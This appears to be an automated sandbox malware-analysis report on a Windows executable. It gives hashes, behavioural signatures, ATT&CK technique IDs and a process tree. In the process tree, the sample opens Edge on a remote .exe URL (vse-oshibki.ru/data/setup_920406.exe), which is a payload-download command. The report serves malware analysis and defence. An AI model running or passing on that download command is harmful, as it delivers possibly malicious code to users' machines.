ea8e716a50e35e2f5cea8a8774b6cf029e83ddc5fa4c6ff063dddc27180ed2b5

Analysis

max time kernel
189s
max time network
197s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
07/12/2022, 01:31

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General

Target

ea8e716a50e35e2f5cea8a8774b6cf029e83ddc5fa4c6ff063dddc27180ed2b5.exe
Size

90KB
MD5

2cc78111d2a9d5660bc6f28aca850c29
SHA1

bdebebd6d337b60025fbf3cace1468a80cfe0756
SHA256

ea8e716a50e35e2f5cea8a8774b6cf029e83ddc5fa4c6ff063dddc27180ed2b5
SHA512

03719b4bbc8df97da01969f3ffa82fd9c0eea6cb6c825b3d51cc63821037e0381a9be11dd6434a20145670831d477dacb7d26ef7a992c6e4b9b830772bdc5ce6
SSDEEP

1536:eDNjjsDQg/mqTpLUeyXjEvjnyTTPU5Tb6mQKf4:eDtzg2RXQmvU5TU

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3844	msedge.exe
3844	msedge.exe
2040	msedge.exe
2040	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs

pid	Process
2040	msedge.exe
2040	msedge.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
2040	msedge.exe
2040	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4164 wrote to memory of 2040	4164	ea8e716a50e35e2f5cea8a8774b6cf029e83ddc5fa4c6ff063dddc27180ed2b5.exe	85
PID 4164 wrote to memory of 2040	4164	ea8e716a50e35e2f5cea8a8774b6cf029e83ddc5fa4c6ff063dddc27180ed2b5.exe	85
PID 2040 wrote to memory of 4628	2040	msedge.exe	86
PID 2040 wrote to memory of 4628	2040	msedge.exe	86
PID 2040 wrote to memory of 3512	2040	msedge.exe	90
PID 2040 wrote to memory of 3512	2040	msedge.exe	90
PID 2040 wrote to memory of 3512	2040	msedge.exe	90
PID 2040 wrote to memory of 3512	2040	msedge.exe	90
PID 2040 wrote to memory of 3512	2040	msedge.exe	90
PID 2040 wrote to memory of 3512	2040	msedge.exe	90
PID 2040 wrote to memory of 3512	2040	msedge.exe	90
PID 2040 wrote to memory of 3512	2040	msedge.exe	90
PID 2040 wrote to memory of 3512	2040	msedge.exe	90
PID 2040 wrote to memory of 3512	2040	msedge.exe	90
PID 2040 wrote to memory of 3512	2040	msedge.exe	90
PID 2040 wrote to memory of 3512	2040	msedge.exe	90
PID 2040 wrote to memory of 3512	2040	msedge.exe	90
PID 2040 wrote to memory of 3512	2040	msedge.exe	90
PID 2040 wrote to memory of 3512	2040	msedge.exe	90
PID 2040 wrote to memory of 3512	2040	msedge.exe	90
PID 2040 wrote to memory of 3512	2040	msedge.exe	90
PID 2040 wrote to memory of 3512	2040	msedge.exe	90
PID 2040 wrote to memory of 3512	2040	msedge.exe	90
PID 2040 wrote to memory of 3512	2040	msedge.exe	90
PID 2040 wrote to memory of 3512	2040	msedge.exe	90
PID 2040 wrote to memory of 3512	2040	msedge.exe	90
PID 2040 wrote to memory of 3512	2040	msedge.exe	90
PID 2040 wrote to memory of 3512	2040	msedge.exe	90
PID 2040 wrote to memory of 3512	2040	msedge.exe	90
PID 2040 wrote to memory of 3512	2040	msedge.exe	90
PID 2040 wrote to memory of 3512	2040	msedge.exe	90
PID 2040 wrote to memory of 3512	2040	msedge.exe	90
PID 2040 wrote to memory of 3512	2040	msedge.exe	90
PID 2040 wrote to memory of 3512	2040	msedge.exe	90
PID 2040 wrote to memory of 3512	2040	msedge.exe	90
PID 2040 wrote to memory of 3512	2040	msedge.exe	90
PID 2040 wrote to memory of 3512	2040	msedge.exe	90
PID 2040 wrote to memory of 3512	2040	msedge.exe	90
PID 2040 wrote to memory of 3512	2040	msedge.exe	90
PID 2040 wrote to memory of 3512	2040	msedge.exe	90
PID 2040 wrote to memory of 3512	2040	msedge.exe	90
PID 2040 wrote to memory of 3512	2040	msedge.exe	90
PID 2040 wrote to memory of 3512	2040	msedge.exe	90
PID 2040 wrote to memory of 3512	2040	msedge.exe	90
PID 2040 wrote to memory of 3844	2040	msedge.exe	91
PID 2040 wrote to memory of 3844	2040	msedge.exe	91
PID 2040 wrote to memory of 1824	2040	msedge.exe	92
PID 2040 wrote to memory of 1824	2040	msedge.exe	92
PID 2040 wrote to memory of 1824	2040	msedge.exe	92
PID 2040 wrote to memory of 1824	2040	msedge.exe	92
PID 2040 wrote to memory of 1824	2040	msedge.exe	92
PID 2040 wrote to memory of 1824	2040	msedge.exe	92
PID 2040 wrote to memory of 1824	2040	msedge.exe	92
PID 2040 wrote to memory of 1824	2040	msedge.exe	92
PID 2040 wrote to memory of 1824	2040	msedge.exe	92
PID 2040 wrote to memory of 1824	2040	msedge.exe	92
PID 2040 wrote to memory of 1824	2040	msedge.exe	92
PID 2040 wrote to memory of 1824	2040	msedge.exe	92
PID 2040 wrote to memory of 1824	2040	msedge.exe	92
PID 2040 wrote to memory of 1824	2040	msedge.exe	92
PID 2040 wrote to memory of 1824	2040	msedge.exe	92
PID 2040 wrote to memory of 1824	2040	msedge.exe	92
PID 2040 wrote to memory of 1824	2040	msedge.exe	92
PID 2040 wrote to memory of 1824	2040	msedge.exe	92

C:\Users\Admin\AppData\Local\Temp\ea8e716a50e35e2f5cea8a8774b6cf029e83ddc5fa4c6ff063dddc27180ed2b5.exe
"C:\Users\Admin\AppData\Local\Temp\ea8e716a50e35e2f5cea8a8774b6cf029e83ddc5fa4c6ff063dddc27180ed2b5.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4164
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://vse-oshibki.ru/data/setup_920406.exe
  2⤵
  - Enumerates system info in registry
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:2040
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffecdf046f8,0x7ffecdf04708,0x7ffecdf04718
    3⤵
    PID:4628
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,5759938308768788797,5172222915451426848,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2156 /prefetch:2
    3⤵
    PID:3512
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2140,5759938308768788797,5172222915451426848,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2248 /prefetch:3
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3844
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2140,5759938308768788797,5172222915451426848,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2816 /prefetch:8
    3⤵
    PID:1824
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,5759938308768788797,5172222915451426848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1340 /prefetch:1
    3⤵
    PID:1212
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,5759938308768788797,5172222915451426848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3864 /prefetch:1
    3⤵
    PID:1772
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,5759938308768788797,5172222915451426848,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=4896 /prefetch:2
    3⤵
    PID:3424

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1516

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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